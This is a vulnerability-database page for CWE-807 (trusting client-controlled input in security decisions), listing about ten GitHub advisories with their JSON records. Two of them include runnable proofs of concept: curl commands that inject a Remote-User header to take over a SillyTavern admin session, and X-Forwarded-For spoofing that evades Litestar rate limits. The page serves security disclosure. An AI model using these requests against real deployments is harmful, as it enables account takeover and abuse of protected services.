CWE-807
AllowedReliance on Untrusted Inputs in a Security Decision
Abstraction: Base · Status: Incomplete
The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.
179 vulnerabilities reference this CWE, most recent first.
GHSA-FX9W-R84W-WFMQ
Vulnerability from github – Published: 2026-03-29 15:30 – Updated: 2026-03-29 15:30OpenClaw before 2026.3.12 contains a weak authorization vulnerability in Zalouser allowlist mode that matches mutable group display names instead of stable group identifiers. Attackers can create groups with identical names to allowlisted groups to bypass channel authorization and route messages from unintended groups to the agent.
{
"affected": [],
"aliases": [
"CVE-2026-32975"
],
"database_specific": {
"cwe_ids": [
"CWE-807"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-29T13:17:01Z",
"severity": "MODERATE"
},
"details": "OpenClaw before 2026.3.12 contains a weak authorization vulnerability in Zalouser allowlist mode that matches mutable group display names instead of stable group identifiers. Attackers can create groups with identical names to allowlisted groups to bypass channel authorization and route messages from unintended groups to the agent.",
"id": "GHSA-fx9w-r84w-wfmq",
"modified": "2026-03-29T15:30:19Z",
"published": "2026-03-29T15:30:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-f5mf-3r52-r83w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32975"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-weak-authorization-via-mutable-group-names-in-zalouser-allowlist"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FXF7-M32W-QH93
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38Nextcloud Server before 9.0.55 and 10.0.2 suffers from a bypass in the quota limitation. Due to not properly sanitizing values provided by the OC-Total-Length HTTP header an authenticated adversary may be able to exceed their configured user quota. Thus using more space than allowed by the administrator.
{
"affected": [],
"aliases": [
"CVE-2017-0887"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-807"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-05T20:59:00Z",
"severity": "MODERATE"
},
"details": "Nextcloud Server before 9.0.55 and 10.0.2 suffers from a bypass in the quota limitation. Due to not properly sanitizing values provided by the `OC-Total-Length` HTTP header an authenticated adversary may be able to exceed their configured user quota. Thus using more space than allowed by the administrator.",
"id": "GHSA-fxf7-m32w-qh93",
"modified": "2022-05-13T01:38:26Z",
"published": "2022-05-13T01:38:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0887"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/173622"
},
{
"type": "WEB",
"url": "https://nextcloud.com/security/advisory/?id=nc-sa-2017-005"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G4HG-XR8W-WM8X
Vulnerability from github – Published: 2022-05-04 00:00 – Updated: 2022-05-10 00:00A vulnerability in the input protection mechanisms of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remote attacker to view data without proper authorization. This vulnerability exists because of a protection mechanism that relies on the existence or values of a specific input. An attacker could exploit this vulnerability by modifying this input to bypass the protection mechanism and sending a crafted request to an affected device. A successful exploit could allow the attacker to view data beyond the scope of their authorization.
{
"affected": [],
"aliases": [
"CVE-2022-20744"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-807"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-03T04:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the input protection mechanisms of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remote attacker to view data without proper authorization. This vulnerability exists because of a protection mechanism that relies on the existence or values of a specific input. An attacker could exploit this vulnerability by modifying this input to bypass the protection mechanism and sending a crafted request to an affected device. A successful exploit could allow the attacker to view data beyond the scope of their authorization.",
"id": "GHSA-g4hg-xr8w-wm8x",
"modified": "2022-05-10T00:00:29Z",
"published": "2022-05-04T00:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20744"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-infdisc-guJWRwQu"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GHVC-23M5-5Q74
Vulnerability from github – Published: 2026-07-22 21:32 – Updated: 2026-07-22 21:32An authenticated user with low privileges may be able to perform unauthorized reads and writes on data protected by role-based query-level access controls, due to insufficient validation of certain client-supplied command parameters. The issue affects find, update, delete, and aggregate commands in non-apiStrict configurations.
{
"affected": [],
"aliases": [
"CVE-2026-13059"
],
"database_specific": {
"cwe_ids": [
"CWE-807"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-22T20:16:43Z",
"severity": "HIGH"
},
"details": "An authenticated user with low privileges may be able to perform unauthorized reads and writes on data protected by role-based query-level access controls, due to insufficient validation of certain client-supplied command parameters. The issue affects find, update, delete, and aggregate commands in non-apiStrict configurations.",
"id": "GHSA-ghvc-23m5-5q74",
"modified": "2026-07-22T21:32:06Z",
"published": "2026-07-22T21:32:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13059"
},
{
"type": "WEB",
"url": "https://jira.mongodb.org/browse/SERVER-128433"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GXX6-H3G6-VWJH
Vulnerability from github – Published: 2026-05-12 22:23 – Updated: 2026-06-09 10:32Resolution
SillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user's needs.
Documentation: https://docs.sillytavern.app/administration/sso/
Summary
SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP
headers to automatically log in users when SSO is configured. There is no validation that
these headers originate from a trusted reverse proxy. Any network client that can reach
the SillyTavern port directly can inject these headers and authenticate as any user,
including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or
sso.authentikAuth: true is set in config.yaml (both default to false).
Detials
SillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the
tryAutoLogin function (called on every request to /login) invokes headerUserLogin,
which reads an HTTP header set by the upstream proxy and automatically creates an
authenticated session for the matching user:
src/users.js:779-801:
async function headerUserLogin(request, header = 'Remote-User') {
if (!request.session) { return false; }
const remoteUser = request.get(header); // reads any header from any client
if (!remoteUser) { return false; }
const userHandles = await getAllUserHandles();
for (const userHandle of userHandles) {
if (remoteUser.toLowerCase() === userHandle) {
const user = await storage.getItem(toKey(userHandle));
if (user && user.enabled) {
request.session.handle = userHandle;
return true;
}
}
}
return false;
}
request.get(header) is Express's wrapper for req.headers[name.toLowerCase()].
Express does not distinguish between headers set by a trusted upstream proxy and headers
injected by the end client. Without an IP allowlist check, any client can set
Remote-User: and receive an authenticated session cookie.
User Enumeration Pre-Condition
The /api/users/list endpoint is registered before requireLoginMiddleware in
src/server-main.js:236, making it publicly accessible without authentication:
src/server-main.js:236,239:
app.use('/api/users', usersPublicRouter); // line 236 (public)
app.use(requireLoginMiddleware); // line 239 (auth gate)
src/endpoints/users-public.js:26-57:
router.post('/list', async (_request, response) => {
if (DISCREET_LOGIN) { return response.sendStatus(204); }
const users = await storage.values(x => x.key.startsWith(KEY_PREFIX));
return response.json(viewModels); // returns handle, name, avatar, admin, password flags
});
This allows an attacker to enumerate all user handles (including admin handles) without any prior credentials.
PoC
TARGET="http://localhost:8000"
# enumerate users
curl -s -X POST "$TARGET/api/users/list" -H "Content-Type: application/json" -d '{}'
# inject Remote-User header, receive authsession
curl -s -L \
-H "Remote-User: admin-user" \
-c /tmp/st-session.txt \
"$TARGET/login"
# obtain CSRF token, call admin API
TOKEN=$(curl -s -b /tmp/st-session.txt "$TARGET/csrf-token" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
curl -s -X POST "$TARGET/api/users/admin/get" \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: $TOKEN" \
-b /tmp/st-session.txt \
-d '{}'
Impact
An account takeover, allowing an attacker to do anything a legitimately authorized user can do.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.17.0"
},
"package": {
"ecosystem": "npm",
"name": "sillytavern"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44649"
],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-306",
"CWE-346",
"CWE-807"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T22:23:30Z",
"nvd_published_at": "2026-05-29T19:16:24Z",
"severity": "CRITICAL"
},
"details": "## Resolution\n\nSillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user\u0027s needs.\n\nDocumentation: https://docs.sillytavern.app/administration/sso/\n\n## Summary\n\nSillyTavern accepts `Remote-User` (Authelia) and `X-Authentik-Username` (Authentik) HTTP\nheaders to automatically log in users when SSO is configured. There is no validation that\nthese headers originate from a trusted reverse proxy. Any network client that can reach\nthe SillyTavern port directly can inject these headers and authenticate as any user,\nincluding administrators, without a password. This vulnerability is exploitable only when `sso.autheliaAuth: true` or\n`sso.authentikAuth: true` is set in `config.yaml` (both default to `false`).\n\n### Detials\n\nSillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the\n`tryAutoLogin` function (called on every request to `/login`) invokes `headerUserLogin`,\nwhich reads an HTTP header set by the upstream proxy and automatically creates an\nauthenticated session for the matching user:\n\n`src/users.js:779-801`:\n\n```js\nasync function headerUserLogin(request, header = \u0027Remote-User\u0027) {\n if (!request.session) { return false; }\n\n const remoteUser = request.get(header); // reads any header from any client\n if (!remoteUser) { return false; }\n\n const userHandles = await getAllUserHandles();\n for (const userHandle of userHandles) {\n if (remoteUser.toLowerCase() === userHandle) {\n const user = await storage.getItem(toKey(userHandle));\n if (user \u0026\u0026 user.enabled) {\n request.session.handle = userHandle; \n return true;\n }\n }\n }\n return false;\n}\n```\n\n`request.get(header)` is Express\u0027s wrapper for `req.headers[name.toLowerCase()]`.\nExpress does not distinguish between headers set by a trusted upstream proxy and headers\ninjected by the end client. Without an IP allowlist check, any client can set\n`Remote-User: ` and receive an authenticated session cookie.\n\n### User Enumeration Pre-Condition\n\nThe `/api/users/list` endpoint is registered before `requireLoginMiddleware` in\n`src/server-main.js:236`, making it publicly accessible without authentication:\n\n`src/server-main.js:236,239`:\n```js\napp.use(\u0027/api/users\u0027, usersPublicRouter); // line 236 (public)\napp.use(requireLoginMiddleware); // line 239 (auth gate)\n```\n\n`src/endpoints/users-public.js:26-57`:\n```js\nrouter.post(\u0027/list\u0027, async (_request, response) =\u003e {\n if (DISCREET_LOGIN) { return response.sendStatus(204); }\n const users = await storage.values(x =\u003e x.key.startsWith(KEY_PREFIX));\n return response.json(viewModels); // returns handle, name, avatar, admin, password flags\n});\n```\n\nThis allows an attacker to enumerate all user handles (including admin handles) without\nany prior credentials.\n\n## PoC\n\n```bash\nTARGET=\"http://localhost:8000\"\n\n# enumerate users\ncurl -s -X POST \"$TARGET/api/users/list\" -H \"Content-Type: application/json\" -d \u0027{}\u0027\n\n# inject Remote-User header, receive authsession\ncurl -s -L \\\n -H \"Remote-User: admin-user\" \\\n -c /tmp/st-session.txt \\\n \"$TARGET/login\"\n\n\n# obtain CSRF token, call admin API\nTOKEN=$(curl -s -b /tmp/st-session.txt \"$TARGET/csrf-token\" | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\ncurl -s -X POST \"$TARGET/api/users/admin/get\" \\\n -H \"Content-Type: application/json\" \\\n -H \"X-CSRF-Token: $TOKEN\" \\\n -b /tmp/st-session.txt \\\n -d \u0027{}\u0027\n```\n\n---\n\n## Impact\n\nAn account takeover, allowing an attacker to do anything a legitimately authorized user can do.",
"id": "GHSA-gxx6-h3g6-vwjh",
"modified": "2026-06-09T10:32:08Z",
"published": "2026-05-12T22:23:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-gxx6-h3g6-vwjh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44649"
},
{
"type": "PACKAGE",
"url": "https://github.com/SillyTavern/SillyTavern"
},
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SillyTavern has Authentication Bypass via SSO Header Injection"
}
GHSA-H244-W3G4-3CV4
Vulnerability from github – Published: 2026-08-26 18:31 – Updated: 2026-08-27 21:31Reliance on Untrusted Inputs in a Security Decision vulnerability in Apache APISIX.
This vulnerability allows an attacker to escalate privilege or perform an authorization bypass by sending certain values that the attach-consumer-label plugin does not sanitise correctly.
This issue affects Apache APISIX: from 3.11.0 through 3.17.0.
Users are recommended to upgrade to version 3.18.0, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-63041"
],
"database_specific": {
"cwe_ids": [
"CWE-807"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-26T12:16:21Z",
"severity": "MODERATE"
},
"details": "Reliance on Untrusted Inputs in a Security Decision vulnerability in Apache APISIX.\n\nThis vulnerability allows an attacker to escalate privilege or perform an authorization bypass by sending certain values that the attach-consumer-label plugin does not sanitise correctly.\n\n\nThis issue affects Apache APISIX: from 3.11.0 through 3.17.0.\n\n\n\nUsers are recommended to upgrade to version 3.18.0, which fixes the issue.",
"id": "GHSA-h244-w3g4-3cv4",
"modified": "2026-08-27T21:31:24Z",
"published": "2026-08-26T18:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63041"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/yg9tgn699rz7kyglw82m1775do8frjr4"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/26/11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H565-J474-WG73
Vulnerability from github – Published: 2026-09-14 12:31 – Updated: 2026-09-14 12:31Joomla Extension - joomshaper.com - Unauthenticated CAPTCHA Bypass via Request-Controlled CAPTCHA Configuration in SP Page Builder Pro 5.1.4 - 6.9.0 - The optin_form addon read the CAPTCHA type, the expected answer and the enabled flag from the request rather than from the stored addon configuration. Verification reduced to md5($captcha_question) != $captcha_answer with both operands supplied by the attacker, so any value passed.
{
"affected": [],
"aliases": [
"CVE-2026-79700"
],
"database_specific": {
"cwe_ids": [
"CWE-807"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-14T11:17:04Z",
"severity": "MODERATE"
},
"details": "Joomla Extension - joomshaper.com - Unauthenticated CAPTCHA Bypass via Request-Controlled CAPTCHA Configuration in SP Page Builder Pro 5.1.4 - 6.9.0 - The optin_form addon read the CAPTCHA type, the expected answer and the enabled flag from the request rather than from the stored addon configuration. Verification reduced to md5($captcha_question) != $captcha_answer with both operands supplied by the attacker, so any value passed.",
"id": "GHSA-h565-j474-wg73",
"modified": "2026-09-14T12:31:38Z",
"published": "2026-09-14T12:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79700"
},
{
"type": "WEB",
"url": "https://www.joomshaper.com/joomla-extensions/sp-page-builder-pro"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HM36-FFRH-C77C
Vulnerability from github – Published: 2025-10-06 20:18 – Updated: 2025-10-13 15:13While testing Litestar's RateLimitMiddleware, I discovered that rate limits can be completely bypassed by manipulating the X-Forwarded-For header. This renders IP-based rate limiting ineffective against determined attackers.
The Problem
Litestar's RateLimitMiddleware uses cache_key_from_request() to generate cache keys for rate limiting. When an X-Forwarded-For header is present, the middleware trusts it unconditionally and uses its value as part of the client identifier.
Since clients can set arbitrary X-Forwarded-For values, each different spoofed IP creates a separate rate limit bucket. An attacker can rotate through different header values to avoid hitting any single bucket's limit.
Looking at the relevant code in litestar/middleware/rate_limit.py around line 127, there's no validation of proxy headers or configuration for trusted proxies.
Reproduction Steps
Here's a minimal test case
from litestar import Litestar, get
from litestar.middleware.rate_limit import RateLimitConfig
import uvicorn
@get("/api/data")
def get_data() -> dict:
return {"message": "sensitive data"}
rate_config = RateLimitConfig(rate_limit=("minute", 2))
app = Litestar(
route_handlers=[get_data],
middleware=[rate_config.middleware]
)
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)
Testing the bypass
# Normal requests get rate limited after 2 requests
curl http://localhost:8000/api/data # 200 OK
curl http://localhost:8000/api/data # 200 OK
curl http://localhost:8000/api/data # 429 Too Many Requests
# But spoofing X-Forwarded-For bypasses the limit entirely
curl -H "X-Forwarded-For: 192.168.1.100" http://localhost:8000/api/data # 200 OK
curl -H "X-Forwarded-For: 192.168.1.101" http://localhost:8000/api/data # 200 OK
curl -H "X-Forwarded-For: 192.168.1.102" http://localhost:8000/api/data # 200 OK
Security Impact
This vulnerability has several concerning implications:
Brute Force Protection Bypass: Authentication endpoints protected by rate limiting become vulnerable to credential stuffing attacks. An attacker can attempt thousands of login combinations from a single source.
API Abuse: Public APIs relying on rate limiting for abuse prevention can be scraped or hammered without restriction.
Resource Exhaustion: While not a traditional DoS, the ability to bypass rate limits means attackers can consume more server resources than intended.
The issue is particularly problematic because many developers deploy Litestar applications directly (not behind a proxy) during development or in containerized environments, making this attack vector accessible.
Potential Solutions
After reviewing how other frameworks handle this:
- Default to socket IP only: Don't trust proxy headers unless explicitly configured
- Trusted proxy configuration: Add settings to specify which proxy IPs are allowed to set forwarded headers
- Header validation: Implement basic validation of forwarded IP formats
Django handles this through SECURE_PROXY_SSL_HEADER and trusted proxy lists. Express.js has similar trusted proxy configurations.
For immediate mitigation, applications can deploy behind a properly configured reverse proxy that strips/overwrites client-controllable headers before they reach Litestar.
Environment Details
- Litestar version: 2.17.0
- Python: 3.11
This affects any Litestar application using RateLimitMiddleware with default settings, which likely includes most applications that implement rate limiting.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "litestar"
},
"ranges": [
{
"events": [
{
"introduced": "2.17.0"
},
{
"fixed": "2.18.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.17.0"
]
}
],
"aliases": [
"CVE-2025-59152"
],
"database_specific": {
"cwe_ids": [
"CWE-807"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-06T20:18:00Z",
"nvd_published_at": "2025-10-06T16:15:34Z",
"severity": "HIGH"
},
"details": "While testing Litestar\u0027s RateLimitMiddleware, I discovered that rate limits can be completely bypassed by manipulating the X-Forwarded-For header. This renders IP-based rate limiting ineffective against determined attackers.\n\n## The Problem\n\nLitestar\u0027s RateLimitMiddleware uses `cache_key_from_request()` to generate cache keys for rate limiting. When an X-Forwarded-For header is present, the middleware trusts it unconditionally and uses its value as part of the client identifier.\n\nSince clients can set arbitrary X-Forwarded-For values, each different spoofed IP creates a separate rate limit bucket. An attacker can rotate through different header values to avoid hitting any single bucket\u0027s limit.\n\nLooking at the relevant code in `litestar/middleware/rate_limit.py` around [line 127](https://github.com/litestar-org/litestar/blob/26f20ac6c52de2b4bf81161f7560c8bb4af6f382/litestar/middleware/rate_limit.py#L127), there\u0027s no validation of proxy headers or configuration for trusted proxies.\n\n## Reproduction Steps\n\nHere\u0027s a minimal test case\n\n```python\nfrom litestar import Litestar, get\nfrom litestar.middleware.rate_limit import RateLimitConfig\nimport uvicorn\n\n@get(\"/api/data\")\ndef get_data() -\u003e dict:\n return {\"message\": \"sensitive data\"}\n\nrate_config = RateLimitConfig(rate_limit=(\"minute\", 2))\n\napp = Litestar(\n route_handlers=[get_data],\n middleware=[rate_config.middleware]\n)\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"0.0.0.0\", port=8000)\n```\n\nTesting the bypass\n\n```bash\n# Normal requests get rate limited after 2 requests\ncurl http://localhost:8000/api/data # 200 OK\ncurl http://localhost:8000/api/data # 200 OK \ncurl http://localhost:8000/api/data # 429 Too Many Requests\n\n# But spoofing X-Forwarded-For bypasses the limit entirely\ncurl -H \"X-Forwarded-For: 192.168.1.100\" http://localhost:8000/api/data # 200 OK\ncurl -H \"X-Forwarded-For: 192.168.1.101\" http://localhost:8000/api/data # 200 OK\ncurl -H \"X-Forwarded-For: 192.168.1.102\" http://localhost:8000/api/data # 200 OK\n```\n\n## Security Impact\n\nThis vulnerability has several concerning implications:\n\nBrute Force Protection Bypass: Authentication endpoints protected by rate limiting become vulnerable to credential stuffing attacks. An attacker can attempt thousands of login combinations from a single source.\n\nAPI Abuse: Public APIs relying on rate limiting for abuse prevention can be scraped or hammered without restriction.\n\nResource Exhaustion: While not a traditional DoS, the ability to bypass rate limits means attackers can consume more server resources than intended.\n\nThe issue is particularly problematic because many developers deploy Litestar applications directly (not behind a proxy) during development or in containerized environments, making this attack vector accessible.\n\n## Potential Solutions\n\nAfter reviewing how other frameworks handle this:\n\n- Default to socket IP only: Don\u0027t trust proxy headers unless explicitly configured\n- Trusted proxy configuration: Add settings to specify which proxy IPs are allowed to set forwarded headers\n- Header validation: Implement basic validation of forwarded IP formats\n\nDjango handles this through `SECURE_PROXY_SSL_HEADER` and trusted proxy lists. Express.js has similar trusted proxy configurations.\n\nFor immediate mitigation, applications can deploy behind a properly configured reverse proxy that strips/overwrites client-controllable headers before they reach Litestar.\n\n## Environment Details\n\n- Litestar version: 2.17.0\n- Python: 3.11\n\nThis affects any Litestar application using RateLimitMiddleware with default settings, which likely includes most applications that implement rate limiting.",
"id": "GHSA-hm36-ffrh-c77c",
"modified": "2025-10-13T15:13:31Z",
"published": "2025-10-06T20:18:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-hm36-ffrh-c77c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59152"
},
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/commit/42a89e043e50b515f8548a93954fe143f63cf9fb"
},
{
"type": "PACKAGE",
"url": "https://github.com/litestar-org/litestar"
},
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/blob/26f20ac6c52de2b4bf81161f7560c8bb4af6f382/litestar/middleware/rate_limit.py#L127"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Litestar X-Forwarded-For Header Spoofing Vulnerability Enables Rate Limit Evasion"
}
GHSA-HVGH-8GM9-9VQ2
Vulnerability from github – Published: 2026-03-21 15:33 – Updated: 2026-03-21 15:33Pidgin 2.13.0 contains a denial of service vulnerability that allows local attackers to crash the application by providing an excessively long username string during account creation. Attackers can input a buffer of 1000 characters in the username field and trigger a crash when joining a chat, causing the application to become unavailable.
{
"affected": [],
"aliases": [
"CVE-2019-25544"
],
"database_specific": {
"cwe_ids": [
"CWE-807"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-21T13:16:15Z",
"severity": "MODERATE"
},
"details": "Pidgin 2.13.0 contains a denial of service vulnerability that allows local attackers to crash the application by providing an excessively long username string during account creation. Attackers can input a buffer of 1000 characters in the username field and trigger a crash when joining a chat, causing the application to become unavailable.",
"id": "GHSA-hvgh-8gm9-9vq2",
"modified": "2026-03-21T15:33:22Z",
"published": "2026-03-21T15:33:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25544"
},
{
"type": "WEB",
"url": "https://pidgin.im"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46930"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/pidgin-denial-of-service-via-malformed-username"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HW34-RQC5-H2GM
Vulnerability from github – Published: 2025-03-03 21:30 – Updated: 2025-03-03 22:23Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-769v-p64c-89pr. This link is maintained to preserve external references.
Original Description
picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-646",
"CWE-807"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-03T22:23:29Z",
"nvd_published_at": "2025-03-03T19:15:34Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-769v-p64c-89pr. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.",
"id": "GHSA-hw34-rqc5-h2gm",
"modified": "2025-03-03T22:23:29Z",
"published": "2025-03-03T21:30:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1889"
},
{
"type": "WEB",
"url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1889"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis",
"withdrawn": "2025-03-03T22:23:29Z"
}
Mitigation MIT-14
Strategy: Attack Surface Reduction
- Store state information and sensitive data on the server side only.
- Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.
